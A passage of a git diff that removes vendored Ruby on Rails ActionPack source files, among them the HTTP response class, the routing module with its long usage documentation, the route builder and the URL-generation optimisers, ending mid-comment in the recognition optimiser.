-          when "destroy";      default_options.merge(add_conditions_for(resource.conditions, method || :delete)).merge(resource.requirements(require_id))
-          else                 default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements(force_id))
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/response.rb b/vendor/rails/actionpack/lib/action_controller/response.rb
deleted file mode 100644
index ff1702e8..00000000
--- a/vendor/rails/actionpack/lib/action_controller/response.rb
+++ /dev/null
@@ -1,237 +0,0 @@
-require 'digest/md5'
-
-module ActionController # :nodoc:
-  # Represents an HTTP response generated by a controller action. One can use
-  # an ActionController::Response object to retrieve the current state
-  # of the response, or customize the response. An Response object can
-  # either represent a "real" HTTP response (i.e. one that is meant to be sent
-  # back to the web browser) or a test response (i.e. one that is generated
-  # from integration tests). See CgiResponse and TestResponse, respectively.
-  #
-  # Response is mostly a Ruby on Rails framework implement detail, and
-  # should never be used directly in controllers. Controllers should use the
-  # methods defined in ActionController::Base instead. For example, if you want
-  # to set the HTTP response's content MIME type, then use
-  # ActionControllerBase#headers instead of Response#headers.
-  #
-  # Nevertheless, integration tests may want to inspect controller responses in
-  # more detail, and that's when Response can be useful for application
-  # developers. Integration test methods such as
-  # ActionController::Integration::Session#get and
-  # ActionController::Integration::Session#post return objects of type
-  # TestResponse (which are of course also of type Response).
-  #
-  # For example, the following demo integration "test" prints the body of the
-  # controller response to the console:
-  #
-  #  class DemoControllerTest < ActionController::IntegrationTest
-  #    def test_print_root_path_to_console
-  #      get('/')
-  #      puts @response.body
-  #    end
-  #  end
-  class Response < Rack::Response
-    DEFAULT_HEADERS = { "Cache-Control" => "no-cache" }
-    attr_accessor :request
-
-    attr_accessor :session, :assigns, :template, :layout
-    attr_accessor :redirected_to, :redirected_to_method_params
-
-    delegate :default_charset, :to => 'ActionController::Base'
-
-    def initialize
-      @status = 200
-      @header = Rack::Utils::HeaderHash.new(DEFAULT_HEADERS)
-
-      @writer = lambda { |x| @body << x }
-      @block = nil
-
-      @body = "",
-      @session = []
-      @assigns = []
-    end
-
-    def location; headers['Location'] end
-    def location=(url) headers['Location'] = url end
-
-
-    # Sets the HTTP response's content MIME type. For example, in the controller
-    # you could write this:
-    #
-    #  response.content_type = "text/plain"
-    #
-    # If a character set has been defined for this response (see charset=) then
-    # the character set information will also be included in the content type
-    # information.
-    def content_type=(mime_type)
-      new_content_type =
-        if mime_type =~ /charset/ || (c = charset).nil?
-          mime_type.to_s
-        else
-          "#{mime_type}; charset=#{c}"
-        end
-      self.headers["Content-Type"] = URI.escape(new_content_type, "\r\n")
-    end
-
-    # Returns the response's content MIME type, or nil if content type has been set.
-    def content_type
-      content_type = String(headers["Content-Type"] || headers["type"]).split(";")[0]
-      content_type.blank? ? nil : content_type
-    end
-
-    # Set the charset of the Content-Type header. Set to nil to remove it.
-    # If no content type is set, it defaults to HTML.
-    def charset=(charset)
-      headers["Content-Type"] =
-        if charset
-          "#{content_type || Mime::HTML}; charset=#{charset}"
-        else
-          content_type || Mime::HTML.to_s
-        end
-    end
-
-    def charset
-      charset = String(headers["Content-Type"] || headers["type"]).split(";")[1]
-      charset.blank? ? nil : charset.strip.split("=")[1]
-    end
-
-    def last_modified
-      if last = headers['Last-Modified']
-        Time.httpdate(last)
-      end
-    end
-
-    def last_modified?
-      headers.include?('Last-Modified')
-    end
-
-    def last_modified=(utc_time)
-      headers['Last-Modified'] = utc_time.httpdate
-    end
-
-    def etag
-      headers['ETag']
-    end
-
-    def etag?
-      headers.include?('ETag')
-    end
-
-    def etag=(etag)
-      headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}")
-    end
-
-    def redirect(url, status)
-      self.status = status
-      self.location = url.gsub(/[\r\n]/, '')
-      self.body = "<html><body>You are being <a href=\"#{CGI.escapeHTML(url)}\">redirected</a>.</body></html>"
-    end
-
-    def sending_file?
-      headers["Content-Transfer-Encoding"] == "binary"
-    end
-
-    def assign_default_content_type_and_charset!
-      self.content_type ||= Mime::HTML
-      self.charset ||= default_charset unless sending_file?
-    end
-
-    def prepare!
-      assign_default_content_type_and_charset!
-      handle_conditional_get!
-      set_content_length!
-      convert_content_type!
-      convert_language!
-      convert_cookies!
-    end
-
-    def each(&callback)
-      if @body.respond_to?(:call)
-        @writer = lambda { |x| callback.call(x) }
-        @body.call(self, self)
-      elsif @body.respond_to?(:to_str)
-        yield @body
-      else
-        @body.each(&callback)
-      end
-
-      @writer = callback
-      @block.call(self) if @block
-    end
-
-    def write(str)
-      @writer.call str.to_s
-      str
-    end
-
-    def flush #:nodoc:
-      ActiveSupport::Deprecation.warn(
-        'Calling output.flush is no longer needed for streaming output ' +
-        'because ActionController::Response automatically handles it', caller)
-    end
-
-    def set_cookie(key, value)
-      if value.has_key?(:http_only)
-        ActiveSupport::Deprecation.warn(
-          "The :http_only option in ActionController::Response#set_cookie " +
-          "has been renamed. Please use :httponly instead.", caller)
-        value[:httponly] ||= value.delete(:http_only)
-      end
-
-      super(key, value)
-    end
-
-    private
-      def handle_conditional_get!
-        if etag? || last_modified?
-          set_conditional_cache_control!
-        elsif nonempty_ok_response?
-          self.etag = body
-
-          if request && request.etag_matches?(etag)
-            self.status = '304 Not Modified'
-            self.body = ''
-          end
-
-          set_conditional_cache_control!
-        end
-      end
-
-      def nonempty_ok_response?
-        ok = !status || status.to_s[0..2] == '200'
-        ok && body.is_a?(String) && !body.blank?
-      end
-
-      def set_conditional_cache_control!
-        if headers['Cache-Control'] == DEFAULT_HEADERS['Cache-Control']
-          headers['Cache-Control'] = 'private, max-age=0, must-revalidate'
-        end
-      end
-
-      def convert_content_type!
-        headers['Content-Type'] ||= "text/html"
-        headers['Content-Type'] += "; charset=" + headers.delete('charset') if headers['charset']
-      end
-
-      # Don't set the Content-Length for block-based bodies as that would mean
-      # reading it all into memory. Not nice for, say, a 2GB streaming file.
-      def set_content_length!
-        if status && status.to_s[0..2] == '204'
-          headers.delete('Content-Length')
-        elsif length = headers['Content-Length']
-          headers['Content-Length'] = length.to_s
-        elsif !body.respond_to?(:call) && (!status || status.to_s[0..2] != '304')
-          headers["Content-Length"] = (body.respond_to?(:bytesize) ? body.bytesize : body.size).to_s
-        end
-      end
-
-      def convert_language!
-        headers["Content-Language"] = headers.delete("language") if headers["language"]
-      end
-
-      def convert_cookies!
-        cookies = Array(headers['Set-Cookie']).compact
-        headers['Set-Cookie'] = cookies unless cookies.empty?
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing.rb b/vendor/rails/actionpack/lib/action_controller/routing.rb
deleted file mode 100644
index 652fa2f5..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing.rb
+++ /dev/null
@@ -1,388 +0,0 @@
-require 'cgi'
-require 'uri'
-require 'action_controller/routing/optimisations'
-require 'action_controller/routing/routing_ext'
-require 'action_controller/routing/route'
-require 'action_controller/routing/segments'
-require 'action_controller/routing/builder'
-require 'action_controller/routing/route_set'
-require 'action_controller/routing/recognition_optimisation'
-
-module ActionController
-  # == Routing
-  #
-  # The routing module provides URL rewriting in native Ruby. It's a way to
-  # redirect incoming requests to controllers and actions. This replaces
-  # mod_rewrite rules. Best of all, Rails' Routing works with any web server.
-  # Routes are defined in <tt>config/routes.rb</tt>.
-  #
-  # Consider the following route, installed by Rails when you generate your
-  # application:
-  #
-  #   map.connect ':controller/:action/:id'
-  #
-  # This route states that it expects requests to consist of a
-  # <tt>:controller</tt> followed by an <tt>:action</tt> that in turn is fed
-  # some <tt>:id</tt>.
-  #
-  # Suppose you get an incoming request for <tt>/blog/edit/22</tt>, you'll end up
-  # with:
-  #
-  #   params = { :controller => 'blog',
-  #              :action     => 'edit',
-  #              :id         => '22'
-  #           }
-  #
-  # Think of creating routes as drawing a map for your requests. The map tells
-  # them where to go based on some predefined pattern:
-  #
-  #   ActionController::Routing::Routes.draw do |map|
-  #     Pattern 1 tells some request to go to one place
-  #     Pattern 2 tell them to go to another
-  #     ...
-  #   end
-  #
-  # The following symbols are special:
-  #
-  #   :controller maps to your controller name
-  #   :action     maps to an action with your controllers
-  #
-  # Other names simply map to a parameter as in the case of <tt>:id</tt>.
-  #
-  # == Route priority
-  #
-  # Not all routes are created equally. Routes have priority defined by the
-  # order of appearance of the routes in the <tt>config/routes.rb</tt> file. The priority goes
-  # from top to bottom. The last route in that file is at the lowest priority
-  # and will be applied last. If no route matches, 404 is returned.
-  #
-  # Within blocks, the empty pattern is at the highest priority.
-  # In practice this works out nicely:
-  #
-  #   ActionController::Routing::Routes.draw do |map|
-  #     map.with_options :controller => 'blog' do |blog|
-  #       blog.show '',  :action => 'list'
-  #     end
-  #     map.connect ':controller/:action/:view'
-  #   end
-  #
-  # In this case, invoking blog controller (with an URL like '/blog/')
-  # without parameters will activate the 'list' action by default.
-  #
-  # == Defaults routes and default parameters
-  #
-  # Setting a default route is straightforward in Rails - you simply append a
-  # Hash at the end of your mapping to set any default parameters.
-  #
-  # Example:
-  #
-  #   ActionController::Routing:Routes.draw do |map|
-  #     map.connect ':controller/:action/:id', :controller => 'blog'
-  #   end
-  #
-  # This sets up +blog+ as the default controller if no other is specified.
-  # This means visiting '/' would invoke the blog controller.
-  #
-  # More formally, you can include arbitrary parameters in the route, thus:
-  #
-  #   map.connect ':controller/:action/:id', :action => 'show', :page => 'Dashboard'
-  #
-  # This will pass the :page parameter to all incoming requests that match this route.
-  #
-  # Note: The default routes, as provided by the Rails generator, make all actions in every
-  # controller accessible via GET requests. You should consider removing them or commenting
-  # them out if you're using named routes and resources.
-  #
-  # == Named routes
-  #
-  # Routes can be named with the syntax <tt>map.name_of_route options</tt>,
-  # allowing for easy reference within your source as +name_of_route_url+
-  # for the full URL and +name_of_route_path+ for the URI path.
-  #
-  # Example:
-  #
-  #   # In routes.rb
-  #   map.login 'login', :controller => 'accounts', :action => 'login'
-  #
-  #   # With render, redirect_to, tests, etc.
-  #   redirect_to login_url
-  #
-  # Arguments can be passed as well.
-  #
-  #   redirect_to show_item_path(:id => 25)
-  #
-  # Use <tt>map.root</tt> as a shorthand to name a route for the root path "".
-  #
-  #   # In routes.rb
-  #   map.root :controller => 'blogs'
-  #
-  #   # would recognize http://www.example.com/ as
-  #   params = { :controller => 'blogs', :action => 'index' }
-  #
-  #   # and provide these named routes
-  #   root_url   # => 'http://www.example.com/'
-  #   root_path  # => ''
-  #
-  # You can also specify an already-defined named route in your <tt>map.root</tt> call:
-  #
-  #   # In routes.rb
-  #   map.new_session :controller => 'sessions', :action => 'new'
-  #   map.root :new_session
-  #
-  # Note: when using +with_options+, the route is simply named after the
-  # method you call on the block parameter rather than map.
-  #
-  #   # In routes.rb
-  #   map.with_options :controller => 'blog' do |blog|
-  #     blog.show    '',            :action  => 'list'
-  #     blog.delete  'delete/:id',  :action  => 'delete',
-  #     blog.edit    'edit/:id',    :action  => 'edit'
-  #   end
-  #
-  #   # provides named routes for show, delete, and edit
-  #   link_to @article.title, show_path(:id => @article.id)
-  #
-  # == Pretty URLs
-  #
-  # Routes can generate pretty URLs. For example:
-  #
-  #   map.connect 'articles/:year/:month/:day',
-  #               :controller => 'articles',
-  #               :action     => 'find_by_date',
-  #               :year       => /\d{4}/,
-  #               :month      => /\d{1,2}/,
-  #               :day        => /\d{1,2}/
-  #
-  # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
-  # maps to
-  #
-  #   params = {:year => '2005', :month => '11', :day => '06'}
-  #
-  # == Regular Expressions and parameters
-  # You can specify a regular expression to define a format for a parameter.
-  #
-  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
-  #               :action => 'show', :postalcode => /\d{5}(-\d{4})?/
-  #
-  # or, more formally:
-  #
-  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
-  #               :action => 'show', :requirements => { :postalcode => /\d{5}(-\d{4})?/ }
-  #
-  # Formats can include the 'ignorecase' and 'extended syntax' regular
-  # expression modifiers:
-  #
-  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
-  #               :action => 'show', :postalcode => /hx\d\d\s\d[a-z]{2}/i
-  #
-  #   map.geocode 'geocode/:postalcode', :controller => 'geocode',
-  #               :action => 'show',:requirements => {
-  #                 :postalcode => /# Postcode format
-  #                                 \d{5} #Prefix
-  #                                 (-\d{4})? #Suffix
-  #                                 /x
-  #               }
-  #
-  # Using the multiline match modifier will raise an ArgumentError.
-  # Encoding regular expression modifiers are silently ignored. The
-  # match will always use the default encoding or ASCII.
-  #
-  # == Route globbing
-  #
-  # Specifying <tt>*[string]</tt> as part of a rule like:
-  #
-  #   map.connect '*path' , :controller => 'blog' , :action => 'unrecognized?'
-  #
-  # will glob all remaining parts of the route that were not recognized earlier. 
-  # The globbed values are in <tt>params[:path]</tt> as an array of path segments.
-  #
-  # == Route conditions
-  #
-  # With conditions you can define restrictions on routes. Currently the only valid condition is <tt>:method</tt>.
-  #
-  # * <tt>:method</tt> - Allows you to specify which method can access the route. Possible values are <tt>:post</tt>,
-  #   <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. The default value is <tt>:any</tt>,
-  #   <tt>:any</tt> means that any method can access the route.
-  #
-  # Example:
-  #
-  #   map.connect 'post/:id', :controller => 'posts', :action => 'show',
-  #               :conditions => { :method => :get }
-  #   map.connect 'post/:id', :controller => 'posts', :action => 'create_comment',
-  #               :conditions => { :method => :post }
-  #
-  # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
-  # URL will route to the <tt>show</tt> action.
-  #
-  # == Reloading routes
-  #
-  # You can reload routes if you feel you must:
-  #
-  #   ActionController::Routing::Routes.reload
-  #
-  # This will clear all named routes and reload routes.rb if the file has been modified from
-  # last load. To absolutely force reloading, use <tt>reload!</tt>.
-  #
-  # == Testing Routes
-  #
-  # The two main methods for testing your routes:
-  #
-  # === +assert_routing+
-  #
-  #   def test_movie_route_properly_splits
-  #    opts = {:controller => "plugin", :action => "checkout", :id => "2"}
-  #    assert_routing "plugin/checkout/2", opts
-  #   end
-  #
-  # +assert_routing+ lets you test whether or not the route properly resolves into options.
-  #
-  # === +assert_recognizes+
-  #
-  #   def test_route_has_options
-  #    opts = {:controller => "plugin", :action => "show", :id => "12"}
-  #    assert_recognizes opts, "/plugins/show/12"
-  #   end
-  #
-  # Note the subtle difference between the two: +assert_routing+ tests that
-  # a URL fits options while +assert_recognizes+ tests that a URL
-  # breaks into parameters properly.
-  #
-  # In tests you can simply pass the URL or named route to +get+ or +post+.
-  #
-  #   def send_to_jail
-  #     get '/jail'
-  #     assert_response :success
-  #     assert_template "jail/front"
-  #   end
-  #
-  #   def goes_to_login
-  #     get login_url
-  #     #...
-  #   end
-  #
-  # == View a list of all your routes
-  #
-  # Run <tt>rake routes</tt>.
-  #
-  module Routing
-    SEPARATORS = %w( / . ? )
-
-    HTTP_METHODS = [:get, :head, :post, :put, :delete, :options]
-
-    ALLOWED_REQUIREMENTS_FOR_OPTIMISATION = [:controller, :action].to_set
-
-    mattr_accessor :generate_best_match
-    self.generate_best_match = true
-
-    # The root paths which may contain controller files
-    mattr_accessor :controller_paths
-    self.controller_paths = []
-
-    # A helper module to hold URL related helpers.
-    module Helpers
-      include PolymorphicRoutes
-    end
-
-    class << self
-      # Expects an array of controller names as the first argument.
-      # Executes the passed block with only the named controllers named available.
-      # This method is used in internal Rails testing.
-      def with_controllers(names)
-        prior_controllers = @possible_controllers
-        use_controllers! names
-        yield
-      ensure
-        use_controllers! prior_controllers
-      end
-
-      # Returns an array of paths, cleaned of double-slashes and relative path references.
-      # * "\\\" and "//"  become "\\" or "/".
-      # * "/foo/bar/../config" becomes "/foo/config".
-      # The returned array is sorted by length, descending.
-      def normalize_paths(paths)
-        # do the hokey-pokey of path normalization...
-        paths = paths.collect do |path|
-          path = path.
-            gsub("//", "/").           # replace double / chars with a single
-            gsub("\\\\", "\\").        # replace double \ chars with a single
-            gsub(%r{(.)[\\/]$}, '\1')  # drop final / or \ if path ends with it
-
-          # eliminate .. paths where possible
-          re = %r{[^/\\]+[/\\]\.\.[/\\]}
-          path.gsub!(re, "") while path.match(re)
-          path
-        end
-
-        # start with longest path, first
-        paths = paths.uniq.sort_by { |path| - path.length }
-      end
-
-      # Returns the array of controller names currently available to ActionController::Routing.
-      def possible_controllers
-        unless @possible_controllers
-          @possible_controllers = []
-
-          paths = controller_paths.select { |path| File.directory?(path) && path != "." }
-
-          seen_paths = Hash.new {|h, k| h[k] = true; false}
-          normalize_paths(paths).each do |load_path|
-            Dir["#{load_path}/**/*_controller.rb"].collect do |path|
-              next if seen_paths[path.gsub(%r{^\.[/\\]}, "")]
-
-              controller_name = path[(load_path.length + 1)..-1]
-
-              controller_name.gsub!(/_controller\.rb\Z/, '')
-              @possible_controllers << controller_name
-            end
-          end
-
-          # remove duplicates
-          @possible_controllers.uniq!
-        end
-        @possible_controllers
-      end
-
-      # Replaces the internal list of controllers available to ActionController::Routing with the passed argument.
-      #   ActionController::Routing.use_controllers!([ "posts", "comments", "admin/comments" ])
-      def use_controllers!(controller_names)
-        @possible_controllers = controller_names
-      end
-
-      # Returns a controller path for a new +controller+ based on a +previous+ controller path.
-      # Handles 4 scenarios:
-      #
-      # * stay in the previous controller:
-      #     controller_relative_to( nil, "groups/discussion" ) # => "groups/discussion"
-      #
-      # * stay in the previous namespace:
-      #     controller_relative_to( "posts", "groups/discussion" ) # => "groups/posts"
-      #
-      # * forced move to the root namespace:
-      #     controller_relative_to( "/posts", "groups/discussion" ) # => "posts"
-      #
-      # * previous namespace is root:
-      #     controller_relative_to( "posts", "anything_with_no_slashes" ) # =>"posts"
-      #
-      def controller_relative_to(controller, previous)
-        if controller.nil?           then previous
-        elsif controller[0] == ?/    then controller[1..-1]
-        elsif %r{^(.*)/} =~ previous then "#{$1}/#{controller}"
-        else controller
-        end
-      end
-    end
-
-    Routes = RouteSet.new
-
-    ActiveSupport::Inflector.module_eval do
-      # Ensures that routes are reloaded when Rails inflections are updated.
-      def inflections_with_route_reloading(&block)
-        (inflections_without_route_reloading(&block)).tap {
-          ActionController::Routing::Routes.reload! if block_given?
-        }
-      end
-
-      alias_method_chain :inflections, :route_reloading
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/builder.rb b/vendor/rails/actionpack/lib/action_controller/routing/builder.rb
deleted file mode 100644
index d9590c88..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/builder.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-module ActionController
-  module Routing
-    class RouteBuilder #:nodoc:
-      attr_reader :separators, :optional_separators
-      attr_reader :separator_regexp, :nonseparator_regexp, :interval_regexp
-
-      def initialize
-        @separators = Routing::SEPARATORS
-        @optional_separators = %w( / )
-
-        @separator_regexp = /[#{Regexp.escape(separators.join)}]/
-        @nonseparator_regexp = /\A([^#{Regexp.escape(separators.join)}]+)/
-        @interval_regexp = /(.*?)(#{separator_regexp}|$)/
-      end
-
-      # Accepts a "route path" (a string defining a route), and returns the array
-      # of segments that corresponds to it. Note that the segment array is only
-      # partially initialized--the defaults and requirements, for instance, need
-      # to be set separately, via the +assign_route_options+ method, and the
-      # <tt>optional?</tt> method for each segment will not be reliable until after
-      # +assign_route_options+ is called, as well.
-      def segments_for_route_path(path)
-        rest, segments = path, []
-
-        until rest.empty?
-          segment, rest = segment_for(rest)
-          segments << segment
-        end
-        segments
-      end
-
-      # A factory method that returns a new segment instance appropriate for the
-      # format of the given string.
-      def segment_for(string)
-        segment =
-          case string
-            when  /\A\.(:format)?\// 
-              OptionalFormatSegment.new
-            when /\A:(\w+)/
-              key = $1.to_sym
-              key == :controller ? ControllerSegment.new(key) : DynamicSegment.new(key)
-            when /\A\*(\w+)/
-              PathSegment.new($1.to_sym, :optional => true)
-            when /\A\?(.*?)\?/
-              StaticSegment.new($1, :optional => true)
-            when nonseparator_regexp
-              StaticSegment.new($1)
-            when separator_regexp
-              DividerSegment.new($&, :optional => optional_separators.include?($&))
-          end
-        [segment, $~.post_match]
-      end
-
-      # Split the given hash of options into requirement and default hashes. The
-      # segments are passed alongside in order to distinguish between default values
-      # and requirements.
-      def divide_route_options(segments, options)
-        options = options.except(:path_prefix, :name_prefix)
-
-        if options[:namespace]
-          options[:controller] = "#{options.delete(:namespace).sub(/\/$/, '')}/#{options[:controller]}"
-        end
-
-        requirements = (options.delete(:requirements) || {}).dup
-        defaults     = (options.delete(:defaults)     || {}).dup
-        conditions   = (options.delete(:conditions)   || {}).dup
-
-        validate_route_conditions(conditions)
-
-        path_keys = segments.collect { |segment| segment.key if segment.respond_to?(:key) }.compact
-        options.each do |key, value|
-          hash = (path_keys.include?(key) && ! value.is_a?(Regexp)) ? defaults : requirements
-          hash[key] = value
-        end
-
-        [defaults, requirements, conditions]
-      end
-
-      # Takes a hash of defaults and a hash of requirements, and assigns them to
-      # the segments. Any unused requirements (which do not correspond to a segment)
-      # are returned as a hash.
-      def assign_route_options(segments, defaults, requirements)
-        route_requirements = {} # Requirements that do not belong to a segment
-
-        segment_named = Proc.new do |key|
-          segments.detect { |segment| segment.key == key if segment.respond_to?(:key) }
-        end
-
-        requirements.each do |key, requirement|
-          segment = segment_named[key]
-          if segment
-            raise TypeError, "#{key}: requirements on a path segment must be regular expressions" unless requirement.is_a?(Regexp)
-            if requirement.source =~ %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
-              raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
-            end
-            if requirement.multiline?
-              raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
-            end
-            segment.regexp = requirement
-          else
-            route_requirements[key] = requirement
-          end
-        end
-
-        defaults.each do |key, default|
-          segment = segment_named[key]
-          raise ArgumentError, "#{key}: No matching segment exists; cannot assign default" unless segment
-          segment.is_optional = true
-          segment.default = default.to_param if default
-        end
-
-        assign_default_route_options(segments)
-        ensure_required_segments(segments)
-        route_requirements
-      end
-
-      # Assign default options, such as 'index' as a default for <tt>:action</tt>. This
-      # method must be run *after* user supplied requirements and defaults have
-      # been applied to the segments.
-      def assign_default_route_options(segments)
-        segments.each do |segment|
-          next unless segment.is_a? DynamicSegment
-          case segment.key
-            when :action
-              if segment.regexp.nil? || segment.regexp.match('index').to_s == 'index'
-                segment.default ||= 'index'
-                segment.is_optional = true
-              end
-            when :id
-              if segment.default.nil? && segment.regexp.nil? || segment.regexp =~ ''
-                segment.is_optional = true
-              end
-          end
-        end
-      end
-
-      # Makes sure that there are no optional segments that precede a required
-      # segment. If any are found that precede a required segment, they are
-      # made required.
-      def ensure_required_segments(segments)
-        allow_optional = true
-        segments.reverse_each do |segment|
-          allow_optional &&= segment.optional?
-          if !allow_optional && segment.optional?
-            unless segment.optionality_implied?
-              warn "Route segment \"#{segment.to_s}\" cannot be optional because it precedes a required segment. This segment will be required."
-            end
-            segment.is_optional = false
-          elsif allow_optional && segment.respond_to?(:default) && segment.default
-            # if a segment has a default, then it is optional
-            segment.is_optional = true
-          end
-        end
-      end
-
-      # Construct and return a route with the given path and options.
-      def build(path, options)
-        # Wrap the path with slashes
-        path = "/#{path}" unless path[0] == ?/
-        path = "#{path}/" unless path[-1] == ?/
-
-        prefix = options[:path_prefix].to_s.gsub(/^\//,'')
-        path = "/#{prefix}#{path}" unless prefix.blank?
-
-        segments = segments_for_route_path(path)
-        defaults, requirements, conditions = divide_route_options(segments, options)
-        requirements = assign_route_options(segments, defaults, requirements)
-
-        # TODO: Segments should be frozen on initialize
-        segments.each { |segment| segment.freeze }
-
-        route = Route.new(segments, requirements, conditions)
-
-        if !route.significant_keys.include?(:controller)
-          raise ArgumentError, "Illegal route: the :controller must be specified!"
-        end
-
-        route.freeze
-      end
-
-      private
-        def validate_route_conditions(conditions)
-          if method = conditions[:method]
-            [method].flatten.each do |m|
-              if m == :head
-                raise ArgumentError, "HTTP method HEAD is invalid in route conditions. Rails processes HEAD requests the same as GETs, returning just the response headers"
-              end
-
-              unless HTTP_METHODS.include?(m.to_sym)
-                raise ArgumentError, "Invalid HTTP method specified in route conditions: #{conditions.inspect}"
-              end
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb b/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb
deleted file mode 100644
index 714cf978..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-module ActionController
-  module Routing
-    # Much of the slow performance from routes comes from the
-    # complexity of expiry, <tt>:requirements</tt> matching, defaults providing
-    # and figuring out which url pattern to use.  With named routes
-    # we can avoid the expense of finding the right route.  So if
-    # they've provided the right number of arguments, and have no
-    # <tt>:requirements</tt>, we can just build up a string and return it.
-    #
-    # To support building optimisations for other common cases, the
-    # generation code is separated into several classes
-    module Optimisation
-      def generate_optimisation_block(route, kind)
-        return "" unless route.optimise?
-        OPTIMISERS.inject("") do |memo, klazz|
-          memo << klazz.new(route, kind).source_code
-          memo
-        end
-      end
-
-      class Optimiser
-        attr_reader :route, :kind
-        GLOBAL_GUARD_CONDITIONS = [
-          "(!defined?(default_url_options) || default_url_options.blank?)",
-          "(!defined?(controller.default_url_options) || controller.default_url_options.blank?)",
-          "defined?(request)",
-          "request"
-          ]
-
-        def initialize(route, kind)
-          @route = route
-          @kind  = kind
-        end
-
-        def guard_conditions
-          ["false"]
-        end
-
-        def generation_code
-          'nil'
-        end
-
-        def source_code
-          if applicable?
-            guard_condition = (GLOBAL_GUARD_CONDITIONS + guard_conditions).join(" && ")
-            "return #{generation_code} if #{guard_condition}\n"
-          else
-            "\n"
-          end
-        end
-
-        # Temporarily disabled <tt>:url</tt> optimisation pending proper solution to
-        # Issues around request.host etc.
-        def applicable?
-          true
-        end
-      end
-
-      # Given a route
-      #
-      #   map.person '/people/:id'
-      #
-      # If the user calls <tt>person_url(@person)</tt>, we can simply
-      # return a string like "/people/#{@person.to_param}"
-      # rather than triggering the expensive logic in +url_for+.
-      class PositionalArguments < Optimiser
-        def guard_conditions
-          number_of_arguments = route.required_segment_keys.size
-          # if they're using foo_url(:id=>2) it's one
-          # argument, but we don't want to generate /foos/id2
-          if number_of_arguments == 1
-            ["args.size == 1", "!args.first.is_a?(Hash)"]
-          else
-            ["args.size == #{number_of_arguments}"]
-          end
-        end
-
-        def generation_code
-          elements = []
-          idx = 0
-
-          if kind == :url
-            elements << '#{request.protocol}'
-            elements << '#{request.host_with_port}'
-          end
-
-          elements << '#{ActionController::Base.relative_url_root if ActionController::Base.relative_url_root}'
-
-          # The last entry in <tt>route.segments</tt> appears to *always* be a
-          # 'divider segment' for '/' but we have assertions to ensure that
-          # we don't include the trailing slashes, so skip them.
-          (route.segments.size == 1 ? route.segments : route.segments[0..-2]).each do |segment|
-            if segment.is_a?(DynamicSegment)
-              elements << segment.interpolation_chunk("args[#{idx}].to_param")
-              idx += 1
-            else
-              elements << segment.interpolation_chunk
-            end
-          end
-          %("#{elements * ''}")
-        end
-      end
-
-      # This case is mostly the same as the positional arguments case
-      # above, but it supports additional query parameters as the last
-      # argument
-      class PositionalArgumentsWithAdditionalParams < PositionalArguments
-        def guard_conditions
-          ["args.size == #{route.segment_keys.size + 1}"] +
-          UrlRewriter::RESERVED_OPTIONS.collect{ |key| "!args.last.has_key?(:#{key})" }
-        end
-
-        # This case uses almost the same code as positional arguments,
-        # but add a question mark and args.last.to_query on the end,
-        # unless the last arg is empty
-        def generation_code
-          super.insert(-2, '#{\'?\' + args.last.to_query unless args.last.empty?}')
-        end
-
-        # To avoid generating "http://localhost/?host=foo.example.com" we
-        # can't use this optimisation on routes without any segments
-        def applicable?
-          super && route.segment_keys.size > 0
-        end
-      end
-
-      OPTIMISERS = [PositionalArguments, PositionalArgumentsWithAdditionalParams]
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb b/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb
deleted file mode 100644
index 9bfebff0..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-module ActionController
-  module Routing
-    # BEFORE:   0.191446860631307 ms/url
-    # AFTER:    0.029847304022858 ms/url
-    # Speed up: 6.4 times
-    #
-    # Route recognition is slow due to one-by-one iterating over
-    # a whole routeset (each map.resources generates at least 14 routes)
-    # and matching weird regexps on each step.
-    #
-    # We optimize this by skipping all URI segments that 100% sure can't
-    # be matched, moving deeper in a tree of routes (where node == segment)
-    # until first possible match is accured. In such case, we start walking
-    # a flat list of routes, matching them with accurate matcher.
-    # So, first step: search a segment tree for the first relevant index.
-    # Second step: iterate routes starting with that index.
-    #
-    # How tree is walked? We can do a recursive tests, but it's smarter:
-    # We just create a tree of if-s and elsif-s matching segments.
-    #
-    # We have segments of 3 flavors:
-    # 1) nil (no segment, route finished)
-    # 2) const-dot-dynamic (like "/posts.:xml", "/preview.:size.jpg")
-    # 3) const (like "/posts", "/comments")
-    # 4) dynamic ("/:id", "file.:size.:extension")
-    #
-    # We split incoming string into segments and iterate over them.
-    # When segment is nil, we drop immediately, on a current node index.
-    # When segment is equal to some const, we step into branch.
-    # If none constants matched, we step into 'dynamic' branch (it's a last).
-    # If we can't match anything, we drop to last index on a level.
-    #
-    # Note: we maintain the original routes order, so we finish building
-    #       steps on a first dynamic segment.
-    #
-    #
-    # Example. Given the routes:
-    #   0 /posts/
-    #   1 /posts/:id
-    #   2 /posts/:id/comments
-    #   3 /posts/blah
-    #   4 /users/
-    #   5 /users/:id
-    #   6 /users/:id/profile
-    #
-    # request_uri = /users/123
-    #
-    # There will be only 4 iterations:
-    #  1) segm test for /posts prefix, skip all /posts/* routes
